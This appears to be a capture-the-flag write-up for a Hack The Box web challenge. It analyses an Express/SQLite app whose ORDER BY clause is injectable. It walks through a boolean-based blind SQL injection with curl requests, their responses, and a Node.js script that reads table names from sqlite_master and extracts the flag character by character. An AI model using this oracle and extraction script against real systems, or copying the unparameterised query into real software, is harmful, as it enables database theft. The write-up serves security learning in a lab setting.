emoji voting
5 minutes to read
We are given this website:
We are also given the source code of the project in Node.js (Express).
Source code analysis
The available endpoints are in routes/index.js
:
const path = require('path');
const express = require('express');
const router = express.Router();
let db;
const response = data => ({ message: data });
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/vote', (req, res) => {
let { id } = req.body;
if (id) {
return db.vote(id)
.then(() => {
return res.send(response('Successfully voted')) ;
})
.catch((e) => {
return res.send(response('Something went wrong'));
})
}
return res.send(response('Missing parameters'));
})
router.post('/api/list', (req, res) => {
let { order } = req.body;
if (order) {
return db.getEmojis(order)
.then(data => {
if (data) {
return res.json(data);
}
return res.send(response('Seems like there are no emojis'));
})
.catch((e) => {
return res.send(response('Something went wrong'));
})
}
return res.send(response('Missing parameters'))
});
module.exports = database => {
db = database;
return router;
};
There are two POST endpoints that allow user input. Both of them perform certain actions on the database (database.js
):
const sqlite = require('sqlite-async');
const crypto = require('crypto');
class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}
async connect() {
this.db = await sqlite.open(this.db_file);
}
async migrate() {
let rand = crypto.randomBytes(5).toString('hex');
return this.db.exec(`
DROP TABLE IF EXISTS emojis;
DROP TABLE IF EXISTS flag_${ rand };
CREATE TABLE IF NOT EXISTS flag_${ rand } (
flag TEXT NOT NULL
);
INSERT INTO flag_${ rand } (flag) VALUES ('HTB{f4k3_fl4g_f0r_t3st1ng}');
CREATE TABLE IF NOT EXISTS emojis (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
emoji VARCHAR(255),
name VARCHAR(255),
count INTEGERT
);
INSERT INTO emojis (emoji, name, count) VALUES
('π½', 'alien', 13),
('πΈ', 'flying saucer', 3),
('πΎ', 'alien monster', 0),
('π©', 'π = human', 118),
('π½', 'π = human', 19),
('πͺ ', 'π = human', 2),
('π', 'eggplant', 69),
('π', 'peach', 40),
('π', 'banana', 21),
('πΆ', 'dog', 80),
('π·', 'pig', 37),
('π¨', 'homo idiotus', 124)
`);
}
async vote(id) {
return new Promise(async (resolve, reject) => {
try {
let query = 'UPDATE emojis SET count = count + 1 WHERE id = ?';
resolve(await this.db.run(query, [id]));
} catch(e) {
reject(e);
}
});
}
async getEmojis(order) {
// TOOD: add parametrization
return new Promise(async (resolve, reject) => {
try {
let query = `SELECT * FROM emojis ORDER BY ${ order }`;
resolve(await this.db.all(query));
} catch(e) {
reject(e);
}
});
}
}
module.exports = Database;
Here we see that it is using SQLite and the flag is stored in a random table.
There is a vulnerability here:
async getEmojis(order) {
// TOOD: add parametrization
return new Promise(async (resolve, reject) => {
try {
let query = `SELECT * FROM emojis ORDER BY ${ order }`;
resolve(await this.db.all(query));
} catch(e) {
reject(e);
}
});
}
SQLi
Since our input is inside the order
variable, and there is no parametrization, we can inject SQL code. As a result, we are able to extract information from the database.
Nevertheless, this is a limited SQLi because it is in an ORDER
clause, so we cannot use sentences like UNION SELECT
, and stacked queries don’t work.
Therefore, we must come up with a boolean oracle. For instance, this one:
$ curl 83.136.254.199:34355/api/list -d '{"order":"(CASE WHEN (SELECT 1) = 1 THEN id ELSE count END)"}' -sH 'Content-Type: application/json'
[{"id":1,"emoji":"π½","name":"alien","count":13},{"id":2,"emoji":"πΈ","name":"flying saucer","count":3},{"id":3,"emoji":"πΎ","name":"alien monster","count":0},{"id":4,"emoji":"π©","name":"π = human","count":118},{"id":5,"emoji":"π½","name":"π = human","count":19},{"id":6,"emoji":"πͺ ","name":"π = human","count":2},{"id":7,"emoji":"π","name":"eggplant","count":69},{"id":8,"emoji":"π","name":"peach","count":40},{"id":9,"emoji":"π","name":"banana","count":21},{"id":10,"emoji":"πΆ","name":"dog","count":80},{"id":11,"emoji":"π·","name":"pig","count":37},{"id":12,"emoji":"π¨","name":"homo idiotus","count":124}]
$ curl 83.136.254.199:34355/api/list -d '{"order":"(CASE WHEN (SELECT 1) = 2 THEN id ELSE count END)"}' -sH 'Content-Type: application/json'
[{"id":3,"emoji":"πΎ","name":"alien monster","count":0},{"id":6,"emoji":"πͺ ","name":"π = human","count":2},{"id":2,"emoji":"πΈ","name":"flying saucer","count":3},{"id":1,"emoji":"π½","name":"alien","count":13},{"id":5,"emoji":"π½","name":"π = human","count":19},{"id":9,"emoji":"π","name":"banana","count":21},{"id":11,"emoji":"π·","name":"pig","count":37},{"id":8,"emoji":"π","name":"peach","count":40},{"id":7,"emoji":"π","name":"eggplant","count":69},{"id":10,"emoji":"πΆ","name":"dog","count":80},{"id":4,"emoji":"π©","name":"π = human","count":118},{"id":12,"emoji":"π¨","name":"homo idiotus","count":124}]
With this, we have a way to know if a condition is true or false.
Boolean-based SQLi
At this point, we can start dumping the database character by character, with this boolean oracle (for example, using SUBSTR
and LENGTH
functions). More information in PayloadsAllTheThings. For this, it’s recommended to write a small script. I used Node.js this time:
const oracle = async payload => {
const res = await fetch(`${BASE_URL}/api/list`, {
body: JSON.stringify({ order: `(CASE WHEN ${payload} THEN id ELSE count END)` }),
headers: { 'Content-Type': 'application/json' },
method: 'POST',
})
const data = await res.json()
return data[0].id === 1
}
Now, the first thing we need is to find the name of the table that holds the flag. For this, in SQLite there is a system table called sqlite_master
that contains this information:
const main = async () => {
let flagTableName = 'flag_'
while (flagTableName.length !== 15) {
for (let c of CHARS) {
if (await oracle(`(SELECT SUBSTR(tbl_name, ${flagTableName.length + 1}, 1) FROM sqlite_master WHERE tbl_name LIKE 'flag_%') = '${c}'`)) {
flagTableName += c
break
}
}
}
console.log('Flag table name:', flagTableName)
Next, we can start querying this table to get the flag. One thing I like to do first is to find the length of the field we want to dump:
let flagLength = 1
while (await oracle(`(SELECT LENGTH(flag) FROM ${flagTableName}) != ${flagLength}`)) {
flagLength++
}
console.log(`Flag length: ${flagLength}`)
Finally, we can dump the field knowing the length beforehand:
let flag = 'HTB{'
while (flag.length !== flagLength - 1) {
for (let c of CHARS) {
if (await oracle(`(SELECT SUBSTR(flag, ${flag.length + 1}, 1) FROM ${flagTableName}) = '${c}'`)) {
flag += c
break
}
}
}
flag += '}'
console.log('Flag:', flag)
}
And we are done!
Flag
If we run the script, we will capture the flag in a matter of seconds:
$ node solve.js 83.136.254.199:34355
Flag table name: flag_535725d860
Flag length: 39
Flag: HTB{putt1ng_th3_c0mp3t1on_0ut_0f_0rd3r}
The full script can be found in here: solve.js
.